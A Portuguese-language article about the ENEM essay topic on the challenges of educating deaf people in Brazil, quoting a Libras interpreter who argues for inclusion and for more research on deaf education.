Formação educacional de surdos também é um direito

Formação educacional de surdos também é um direito

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Nas duas últimas semanas, milhares de pessoas em todo país realizaram provas do emstrongExame Nacional do Ensino Médio/strong/em (emstrongEnem/strong/em). As provas iniciais foram as de linguagens, ciências humanas e a redação. Este ano, a proposta de redação trouxe o tema “Os desafios para a formação educacional de surdos no Brasil”, um tema pouco discutido no dia a dia.

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Ao ser levantado pelo emstrongEnem/strong/em, o tema teve bastante repercussão e abriu espaço para a discussão no dia a dia das pessoas. Porém, após algumas semanas de evidência do assunto, a tendência é que ele seja novamente esquecido, quando, na verdade, deveria ser falado constantemente já que diz respeito ao direito de surdos.

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Claudia Lins, intérprete de Libras de um aluno do 3º ano do ensino médio, comenta que o tema foi importante para toda a comunidade surda, que inclui as pessoas surdas, as famílias e também os profissionais que trabalham com essas pessoas. “Quando nós vimos o tema ficamos muito felizes porque foi um avanço, um marco”, diz Claudia.

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Quanto mais cedo começar o processo de formação educacional, mais isso trará benefícios para a vida das pessoas. O trabalho com a educação especial precisa ser valorizado, o Estado tem obrigação de garantir o acesso, a permanência e a inclusão de crianças surdas nas escolas públicas de todas as esferas.

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Todas as crianças têm direito à educação e, mais do que dar acesso, é preciso a manutenção das condições de receber crianças e adolescentes surdos. As novas tecnologias podem ajudar bastante no desenvolvimento das ações voltadas para a temática. As redações do ENEM certamente apresentaram diversas propostas executáveis para ampliar a formação educacional dos surdos, o ideal seria usá-la nas políticas públicas e na sociedade.

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Outro fator importante que precisa vir à tona é como a sociedade deve se comportar diante do assunto. Para Claudia Lins, abalizada em sua experiência com escola pública em São Luís, o maior desafio ainda é o preconceito e a falta de pesquisas sobre isso. “Os estudos sobre o tema ainda são poucos, o que dificulta o nosso trabalho” ressalta a intérprete de Libras. Quanto mais as pessoas entenderem sobre surdez e contribuírem com a inclusão, mais direitos garantidos e mais benefícios para toda sociedade.
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